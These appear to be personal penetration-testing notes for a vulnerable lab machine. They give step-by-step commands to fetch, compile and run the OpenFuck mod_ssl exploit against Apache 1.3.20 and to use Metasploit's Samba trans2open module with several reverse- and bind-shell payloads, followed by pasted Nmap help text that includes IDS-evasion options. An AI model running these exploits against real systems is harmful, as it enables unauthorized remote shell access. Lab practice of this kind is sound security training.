Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)

This apache version has vulnerability of openfuck. old openfuck.c is not working, so get the latest openfuck from github:  "https://github.com/heltonWernik/OpenLuck"

Use the steps and perform: like 

1. Download OpenFuck.c

git clone https://github.com/heltonWernik/OpenFuck.git

2. Install ssl-dev library

apt-get install libssl-dev

3. Compile it

gcc -o OpenFuck OpenFuck.c -lcrypto

4. Running the Exploit

./OpenFuck

5. See which service you witch to exploit. For example if you need to Red Hat Linux, using apache version 1.3.20. Trying out using the 0x6a option ./OpenFuck 0x6a [Target Ip] [port] -c 40

for example:

./OpenFuck 0x6a 192.168.80.145 443 -c 40

enum4linux : use this command to check rpc login with null username and null password and to get other details.

samba version: to find the version of samba, use scanner

use auxiliary/scanner/smb/smb_version

samba: samba2.2.1a

this version has trans2open vulnerability and the exploit is available on metasploit

exploit: use exploit/linux/samba/trans2open

set payload with the exploit : set payload linux/x86/meterpreter/reverse_tcp (it will not work)

thn use any payload from below mentioned:

 set payload 

generic/shell_reverse_tcp

linux/x86/shell_bind_tcp

linux/x86/shell/bind_tcp

linux/x86/shell/reverse_tcp

NMAP

Nmap 5.61TEST5 ( http://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iL : Input from list of hosts/networks
  -iR : Choose random targets
  --exclude : Exclude hosts/networks
  --excludefile : Exclude list from file
HOST DISCOVERY:
  -sL: List Scan - simply list targets to scan
  -sn: Ping Scan - disable port scan
  -Pn: Treat all hosts as online -- skip host discovery
  -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
  -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
  -PO[protocol list]: IP Protocol Ping
  -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
  --dns-servers : Specify custom DNS servers
  --system-dns: Use OS's DNS resolver
  --traceroute: Trace hop path to each host
SCAN TECHNIQUES:
  -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
  -sU: UDP Scan
  -sN/sF/sX: TCP Null, FIN, and Xmas scans
  --scanflags : Customize TCP scan flags
  -sI : Idle scan
  -sY/sZ: SCTP INIT/COOKIE-ECHO scans
  -sO: IP protocol scan
  -b : FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
  -p : Only scan specified ports
    Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
  -F: Fast mode - Scan fewer ports than the default scan
  -r: Scan ports consecutively - don't randomize
  --top-ports : Scan  most common ports
  --port-ratio : Scan ports more common than 
SERVICE/VERSION DETECTION:
  -sV: Probe open ports to determine service/version info
  --version-intensity : Set from 0 (light) to 9 (try all probes)
  --version-light: Limit to most likely probes (intensity 2)
  --version-all: Try every single probe (intensity 9)
  --version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
  -sC: equivalent to --script=default
  --script=:  is a comma separated list of
           directories, script-files or script-categories
  --script-args=: provide arguments to scripts
  --script-args-file=filename: provide NSE script args in a file
  --script-trace: Show all data sent and received
  --script-updatedb: Update the script database.
  --script-help=: Show help about scripts.
            is a comma separted list of script-files or
           script-categories.
OS DETECTION:
  -O: Enable OS detection
  --osscan-limit: Limit OS detection to promising targets
  --osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
  Options which take  are in seconds, or append 'ms' (milliseconds),
  's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  -T<0-5>: Set timing template (higher is faster)
  --min-hostgroup/max-hostgroup : Parallel host scan group sizes
  --min-parallelism/max-parallelism : Probe parallelization
  --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout : Specifies
      probe round trip time.
  --max-retries : Caps number of port scan probe retransmissions.
  --host-timeout : Give up on target after this long
  --scan-delay/--max-scan-delay : Adjust delay between probes
  --min-rate : Send packets no slower than  per second
  --max-rate : Send packets no faster than  per second
FIREWALL/IDS EVASION AND SPOOFING:
  -f; --mtu : fragment packets (optionally w/given MTU)
  -D : Cloak a scan with decoys
  -S : Spoof source address
  -e : Use specified interface
  -g/--source-port : Use given port number
  --data-length : Append random data to sent packets
  --ip-options : Send packets with specified ip options
  --ttl : Set IP time-to-live field
  --spoof-mac : Spoof your MAC address
  --badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:

  -v: Increase verbosity level (use -vv or more for greater effect)
  -d: Increase debugging level (use -dd or more for greater effect)
  --reason: Display the reason a port is in a particular state
  --open: Only show open (or possibly open) ports
  --packet-trace: Show all packets sent and received
  --iflist: Print host interfaces and routes (for debugging)
  --log-errors: Log errors/warnings to the normal-format output file
  --append-output: Append to rather than clobber specified output files
  --resume : Resume an aborted scan
  --stylesheet : XSL stylesheet to transform XML output to HTML
  --webxml: Reference stylesheet from Nmap.Org for more portable XML
  --no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
  -6: Enable IPv6 scanning
  -A: Enable OS detection, version detection, script scanning, and traceroute
  --datadir : Specify custom Nmap data file location
  --send-eth/--send-ip: Send using raw ethernet frames or IP packets
  --privileged: Assume that the user is fully privileged
  --unprivileged: Assume the user lacks raw socket privileges
  -V: Print version number
  -h: Print this help summary page.
